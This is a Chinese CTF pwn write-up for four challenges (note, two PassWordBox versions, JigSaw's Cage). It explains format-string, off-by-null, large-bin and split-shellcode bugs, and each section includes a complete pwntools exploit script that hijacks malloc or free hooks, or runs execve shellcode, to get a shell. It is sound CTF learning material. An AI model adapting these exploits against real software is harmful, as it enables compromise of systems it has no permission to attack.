鸽鸽鸽… 还有两道努努力能跟着 wp 做出来的 lemon 和 life_simulation 还在鸽… en,这四道都是简单题。我个人最喜欢 JigSaw’s Cage,改 shellcode 汇编好好玩!
note
amd64-64-little, FULL RELRO, Canary found, NX enabled, PIE enabled
菜单题:
add:不限个数,size不大于 0x100,malloc 后 ptr 存在 bss 上,没有chunklist。返回堆地址。
show:检查 ptr 是否有值,puts 打印 ptr 指向的堆块的内容。
say:读 100 字节到栈上,以其为参数进行 scanf。
say 函数存在明显的格式化字符串漏洞,buf 是我们可控的 fmt。
程序是64位,前六个参数在寄存器中,第七个参数起才置于栈上。先看看 scanf 前栈的情况,b *($rebase(0x1235))
:
buf 后紧跟着 _IO_21_stdout ,这里也是偏移7的位置,可用 %7$s
往该结构体上写任意数据。因此可以打 IO_FILE,泄露libc地址。gdb调试一下。b *($rebase(0x123a))
:
要注意栈情况是跟程序加载时使用的 ld 和 libc 相关的。下图是我没有更换 libc 时的栈布局,_IO_21_stdout 与buf 相差了 0x28 。
至于为什么做的时候不更换呢,是因为我用以往只会的一种 patchelf 的方法后(--set-rpath
和 --set-interpreter
),程序崩了。我用的是 glibc-all-in-one-master
提供的 lib 库,偶尔会出现 patch 完段错误的情况。手动把 ld 和 libc 分别 patch 一遍就好了,不 patch 的话也可以设置 LD_PRELOAD 再运行:
1 2 3 4 5 patchelf --set-interpreter ./ld-2.23.so ./note patchelf --replace-needed libc.so.6 ./libc-2.23.so ./note LD_PRELOAD=./libc-2.23.so ./ld-2.23.so ./note # p=process(argv=["./ld-2.23.so" ,"./note" ],env={"LD_PRELOAD" : "./libc-2.23.so" })
现在我们可以获得 libc 地址和堆地址。scanf 函数的buf 可写入 100 字节,也不能算是栈溢出,应该说是由于 scanf 的内容、偏移可控,栈上有 100 字节的空间可控,加上从第七个参数起位于栈上,scanf 的目标地址也可控,从而可以任意地址写。也就是可以在 buf+0x08 的位置写上任意地址,再用 %7$s
写。同理,如果在 buf+0x10 的位置写地址,用 %8$s
写。
有libc,能任意写,直接改 __malloc_hook 就好了,连堆地址都用不上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from pwn import *context(arch='amd64' ,bits=64 ,endian='little' ,binary=ELF('./note' )) p=process('./note' ) libc=ELF('./libc-2.23.so' ) elf=ELF('./note' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): ru('ice: ' ) sl(str (num)) def add (size,con ): menu(1 ) ru('size: ' ) sl(str (size)) ru('content: ' ) sl(con) def say (con,input ): menu(2 ) ru('?' ) sd(con) ru('?' ) sl(input ) def show (): menu(3 ) say('%7$s' .ljust(8 ,'\x00' ),p64(0xfbad1800 ) + p64(0 )*3 ) libcbase=u64(ru('\x7f' )[-6 :].ljust(8 ,'\x00' ))-0x3c36e0 mallochook=libcbase+libc.sym['__malloc_hook' ]-0x8 realloc=libcbase+libc.sym['realloc' ] one_gadget=[0x45226 ,0x4527a ,0xf0364 ,0xf1207 ] og=libcbase+one_gadget[1 ] say('%7$s' .ljust(8 ,'\x00' )+p64(mallochook),p64(og)+p64(realloc+8 )+p64(0 )) menu(1 ) ru('size:' ) sl('1' ) it()
如果非得用上堆地址的话,应该是通过 house of orange 来改。程序有任意写和show功能,没有 delete 函数,因此通过修改 top chunk 把它放入 unsorted bin 中,再申请到 malloc hook 的位置改。
PassWordBox_FreeVersion
amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled
菜单题:
add:添加 80 个不大于 0x100 的 pwd box,输入 pwd 的时候存在 off-by-null,第一次 add 的话会返回加密后的pwd。
edit:只用一次,修改 pwd box 前 0x10 字节。输入的 idx 为无符号数,但未对其大小进行检查。
show:对无符号数 idx 进行范围检查,明文打印 username 和 pwd。
dele:全清空,无 uaf 。
其中的加密函数只是逐位异或,key 是个两层随机生成的随机数。当 content 为 ‘\x00’ 时相当于 key本身。因为 add 函数会在第一次 add 的时候输出密文,所以第一次传入’\x00’的话能泄露出key。又因为两次异或等于其本身,后续传数据的时候,如果想明文存储,先异或再传就可以了。
可以看到 libc 的小版本是1.4,tcache 中有 key 值,unlink 的时候会检查是否存在 double free,将 key 改成别的值就可以绕过。
可 add 数量比较大,基本等于无限制。构造 off by null 的时候我也没太注意节省 chunk 数量。en,常规的 2.27 off by null,考点应该就是 tcache key 和 异或加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context(arch='amd64' ,bits=64 ,log_level='debug' ,endian='little' ,binary=ELF('./pwdFree' )) p=process('./pwdFree' ) libc=ELF('./libc.so.6' ) elf=ELF('./pwdFree' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): ru('ice:' ) sl(str (num)) def add (name,size,con ): sleep(0.05 ) menu(1 ) ru('ve:' ) sl(name) ru('wd:' ) sl(str (size)) ru('wd:' ) sd(con) def edit (id ,con ): sleep(0.05 ) menu(2 ) sl(str (id )) sd(con) def show (id ): sleep(0.05 ) menu(3 ) ru('ck:' ) sl(str (id )) def dele (id ): sleep(0.05 ) menu(4 ) ru('te:' ) sl(str (id )) add('key' ,1 ,'\x00' ) ru('Save ID:' ) key=u64(rv(8 )) success(hex (key)) for i in range (7 ): add('aaa' +str (i+1 ),0xf8 ,'bbb\n' ) add('aaa8' ,0xf8 ,'ccc\n' ) add('aaa9' ,0x78 ,'ccc\n' ) add('aaa10' ,0xf8 ,'ccc\n' ) add('aaa11' ,0x10 ,'ccc\n' ) for i in range (1 ,8 ): dele(i) dele(9 ) dele(8 ) add('ddd1' ,0x78 ,'a' *0x70 +p64((0x100 +0x80 )^key)) dele(10 ) add('ddd2' ,0xd8 ,'\n' ) add('ddd3' ,0x18 ,'\n' ) show(1 ) ru('Pwd is: ' ) libcbase=u64(rv(8 ))^key libcbase-=0x3ebca0 free_hook=libcbase+libc.sym['__free_hook' ] one_gadget=[0x4f3d5 ,0x4f432 ,0x10a41c ] og=one_gadget[1 ]+libcbase add('ddd4' ,0x60 ,'\n' ) dele(1 ) edit(4 ,p64(free_hook)+'a' *0x08 ) add('ddd5' ,0x60 ,'\n' ) add('ddd6' ,0x60 ,p64(og^key)+'\n' ) dele(3 ) it()
PassWordBox_ProVersion
amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled
前一题的 2.0 版本,不同之处:
add:0x420 <= size <=0x888,属于 large bin范围。
edit:堆块 active 的标志不为空时,可编辑 size 长度的内容,不限次数。
delete:uaf,active 标志置零。
recover:指定 chunk 的 active 标志置一,uaf,edit、delete、show函数都能再用被 free 过的 chunk。
另外,libc 是 2.31 的版本,tcache bin 中的 key 被移位加密过。
首先 libc 的泄露,recover 后有 uaf 漏洞,直接 show unsorted bin 中的 chunk 就能泄露 libc 地址。
其次改 hook。2.31 的环境下堆块利用起来可能有点麻烦,不妨试试打 tcache_max_bins。这种方法我在之前的比赛中也有遇到过:【ctf復現003】修改TCACHE_MAX_BINS 。这个 mp_ 结构体位于 libc 上,libc 地址已知,它的地址也可以算出来。利用 larget bin,修改 bk_nextsize 位来改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *context(arch='amd64' ,bits=64 ,log_level='debug' ,endian='little' ,binary=ELF('./pwdPro' )) p=process('./pwdPro' ) libc=ELF('./libc.so' ) elf=ELF('./pwdPro' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): ru('ice:' ) sl(str (num)) def add (id ,size,con ): sleep(0.05 ) menu(1 ) ru('Add:' ) sl(str (id )) ru('ve:' ) sl('aaa' ) ru('wd:' ) sl(str (size)) ru('wd:' ) sd(con) def edit (id ,con ): sleep(0.05 ) menu(2 ) ru('it:' ) sl(str (id )) sd(con) def show (id ): sleep(0.05 ) menu(3 ) ru('ck:' ) sl(str (id )) def dele (id ): sleep(0.05 ) menu(4 ) ru('te:' ) sl(str (id )) def recover (id ): menu(5 ) ru('Recover:' ) sl(str (id )) add(0 ,0x420 ,'\x00' *0x420 ) ru('Save ID:' ) key=u64(rv(8 )) success(hex (key)) add(1 ,0x460 ,'\n' ) add(2 ,0x420 ,'\n' ) add(3 ,0x450 ,'\n' ) add(4 ,0x500 ,'\n' ) add(5 ,0x500 ,'\n' ) add(6 ,0x500 ,'\n' ) dele(1 ) recover(1 ) show(1 ) ru('Pwd is: ' ) libcbase=u64(rv(8 )) libcbase^=key libcbase-=0x1ebbe0 success(hex (libcbase)) free_hook=libcbase+libc.sym['__free_hook' ] sys=libcbase+libc.sym['system' ] mp_tcache_bins=libcbase+0x1eb2d0 add(7 ,0x480 ,'\n' ) edit(1 ,p64(0 )+p64(mp_tcache_bins-0x20 )+p64(0 )+p64(mp_tcache_bins-0x20 )) dele(3 ) recover(3 ) add(8 ,0x480 ,'\n' ) dele(6 ) dele(5 ) recover(5 ) edit(5 ,p64(free_hook)) add(5 ,0x500 ,'\n' ) add(6 ,0x500 ,p64(sys^key)+'\n' ) edit(2 ,'/bin/sh\x00' ) dele(2 ) it()
JigSaw’sCage
amd64-64-little, Full RELRO, Canary found, NX enabled, PIE enabled
程序一开始使用了 mprotect 函数,设置堆段的部分空间权限为7。v1的输入存在栈溢出漏洞,%ld 是八个字节,能将 ran 覆盖。
ran是伪随机数。由于在使用 rand() 函数之前未使用 srand 函数,种子默认初始化为1。可以拿提供的 libc.so 文件生成,预测 ran 的生成序列。序列的第一个数字为7,不可能大于 14,所以需要通过栈溢出修改 ran 值,在heap 中开启 0x1000 大小的 可读可写可执行空间。
1 2 3 4 5 6 7 8 from ctypes import *eelf = cdll.LoadLibrary('./libc.so' ) eelf.srand(1 ) for i in range (0 ,5 ): print (eelf.rand() % 16 )
接下来是菜单:
add:可添加6个 0x10的chunk,每个被初始化为 '\xc3'*0x10
,也就是16个 ret 指令。
delete:无uaf。
edit:读入 0x10,最后一个字节覆盖为 ret 指令。
show:打印。
test:执行 chunk_list[i] 的内容,0< i <31,可越界执行。
根据前面开启的 0x1000 的 rwx 的空间,可以知道这里应该是往堆上写 shellcode 执行了。但是每次只能写 0x10(包括加上的 ret指令),因此需要拆分 shellcode。考点应该就是如何在有 ret 的情况下顺序执行不同 chunk 的 shellcode。
执行 test 函数的时候,堆地址保存在寄存器上,可以用 jmp 指令跳到下一个堆块。
/bin/sh\x00
太长了,无论如何分割 shellcode 都会超过 0x10。因此可通过调用 read 函数读入到指定位置上,再在下一段 shellcode 里从该位置取参数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *context(arch='amd64' ,bits=64 ,endian='little' ,binary=ELF('./JigSAW' )) p=process('./JigSAW' ) elf=ELF('./JigSAW' ) ru = lambda s: p.recvuntil(s) rv = lambda s: p.recv(s) rl = lambda : p.recvline() sl = lambda s: p.sendline(s) sd = lambda s: p.send(s) it = lambda : p.interactive() def menu (num ): ru('ice :' ) sl(str (num)) def add (id ): menu(1 ) ru('Index' ) sl(str (id )) def edit (id ,con ): menu(2 ) ru('Index' ) sl(str (id )) ru('put:' ) sd(con) def test (id ): menu(4 ) ru('Index' ) sl(str (id )) ru('Name:' ) sl('aaa' ) ru('Choice:' ) sl(str (0x100000000000 )) for i in range (5 ): add(i) shellcode1=asm(''' mov rdi,rax xor eax,eax push 0x50 push rdx pop rsi pop rdx syscall ''' )shellcode2=asm(''' push 0 sub rdx,0x20 mov rdi,[rdx] add rdx,0x40 jmp rdx ''' )shellcode3=asm(''' push rdi push rsp pop rdi mov al, 59 cdq syscall ''' )edit(0 ,shellcode1) edit(1 ,shellcode2) edit(2 ,shellcode3) test(0 ) sl('/bin/sh\x00' ) test(1 ) it()